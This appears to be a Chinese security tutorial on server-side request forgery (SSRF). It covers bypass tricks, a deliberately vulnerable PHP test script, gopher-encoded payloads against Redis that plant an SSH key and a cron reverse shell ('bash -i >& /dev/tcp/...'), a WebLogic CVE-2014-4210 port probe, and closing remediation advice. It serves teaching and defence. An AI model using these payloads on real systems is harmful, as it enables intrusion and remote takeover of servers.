[红日安全]Web安全Day4 - SSRF实战攻防
字数 1522 2025-08-18 11:39:19
SSRF漏洞实战攻防完全指南
1. SSRF漏洞概述
1.1 漏洞定义
SSRF(Server-Side Request Forgery)即服务器端请求伪造,是一种利用漏洞伪造服务器端发起请求的攻击方式。攻击者通过控制服务器发起的请求,可以攻击从外网无法访问的内部系统。
1.2 漏洞原理
通过控制功能中的发起请求的服务作为跳板攻击内网中其他服务。例如,通过修改前台请求的远程地址参数,将请求目标从外部域名改为本地或内网IP地址及服务。
1.3 漏洞危害
- 扫描内网开放服务
- 向内部任意主机的任意端口发送payload攻击内网服务
- 发起DOS攻击(通过请求大文件或保持长连接)
- 攻击内网Web应用(如SQL注入、XSS等)
- 利用file、gopher、dict等协议读取本地文件或执行命令
2. SSRF检测与绕过技术
2.1 漏洞检测方法
典型检测场景:某网站有在线加载远程图片功能,URL如:
http://www.xxx.com/image.php?image=http://www.xxc.com/a.jpg
可尝试修改为:
http://www.xxx.com/image.php?image=http://127.0.0.1:22
观察是否返回端口banner信息。
2.2 常见漏洞出现点
- 分享功能:通过URL参数分享文章
- 图片加载与下载:通过URL地址加载或下载图片
- 收藏功能:通过参数保存文章或图片地址
- 参数关键字:share、wap、url、link、src、source、target、u3g、display、sourceURI、imageURL、domain等
2.3 绕过技术
2.3.1 基本身份认证绕过
http://www.xxx.com@www.xxc.com
不同解析函数对@的处理存在差异。
2.3.2 绕过内网IP限制
- 使用短网址服务(如百度短地址)
- 使用xip.io域名(如127.0.0.1.xip.io)
- 进制转换:
- 八进制:0177.0.0.1
- 十六进制:0x7f.0.0.1
- 十进制:2130706433
2.3.3 绕过协议限制
使用302跳转服务(如百度短地址或tinyurl.com)
3. SSRF测试方法
3.1 测试环境搭建
创建PHP服务端脚本:
<?PHP
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>
3.2 测试过程
- 使用nc监听端口模拟内网服务:
nc -lvnp 2233 - 测试SSRF:
http://localhost/ssrf.php?url=http://127.0.0.1:2233 - 使用gopher协议测试:
http://localhost/ssrf.php?url=gopher://127.0.0.1:2233/_test - 发送POST请求:
http://localhost/ssrf.php?url=gopher://127.0.0.1:2233/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20127.0.0.1%3A2233%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%26password%3Dpassword
4. 实战演示:SSRF+Redis攻击
4.1 环境准备
使用Rootme CTF的SSRF Box环境
4.2 攻击步骤
- 探测内网开放端口,发现6379(Redis)端口开放
- 利用SSRF攻击Redis未授权访问
方法一:写入SSH密钥
- 生成SSH密钥对
- 使用gopher协议将公钥写入Redis:
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$401%0d%0a%0a%0a%0assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/Xn7uoTwU+RX1gYTBrmZlNwU2KUBICuxflTtFwfbZM3wAy/FmZmtpCf2UvZFb/MfC1i......2pyARF0YjMmjMevpQwjeN3DD3cw/bO4XMJC7KnUGil4ptcxmgTsz0UsdXAd9J2UdwPfmoM9%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a - 通过SSH私钥登录服务器
方法二:写入定时任务反弹shell
- 准备监听端口:
nc -lvnp 2233 - 发送payload:
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/x.x.x.x/2233 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
5. WebLogic SSRF漏洞(CVE-2014-4210)
5.1 漏洞介绍
WebLogic的uddiexplorer.war组件存在SSRF漏洞,影响版本包括10.0.2.0和10.3.6.0。
5.2 测试方法
- 访问漏洞页面:
/uddiexplorer/SearchPublicRegistries.jsp - 探测端口:
返回404表示端口开放,返回其他错误表示端口关闭。/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
5.3 修复方案
- 删除server/lib/uddiexplorer.war下的相应jsp文件
- 安装官方补丁
6. SSRF漏洞修复方案
6.1 通用修复方案
- 限制返回信息,统一错误响应
- 设置请求地址白名单
- 禁用危险协议(file://, gopher://, dict://等)
- 限制请求端口为常用服务端口(80, 443等)
6.2 Java代码修复示例
public static Boolean UrlSecCheck(String url, String[] urlwhitelist) {
try {
URL u = new URL(url);
// 只允许http和https协议
if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
return false;
}
// 获取域名并转为小写
String host = u.getHost().toLowerCase();
// 获取一级域名
String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
for (String whiteurl: urlwhitelist){
if (rootDomain.equals(whiteurl)) {
return true;
}
}
return false;
} catch (Exception e) {
return false;
}
}
7. 总结
SSRF是一种危害严重的漏洞,攻击者可以利用它绕过网络边界防护,直接攻击内网系统。防御SSRF需要从多个层面进行防护,包括输入验证、协议限制、端口限制等。开发人员应充分了解SSRF的攻击手法,在代码中实施严格的防护措施。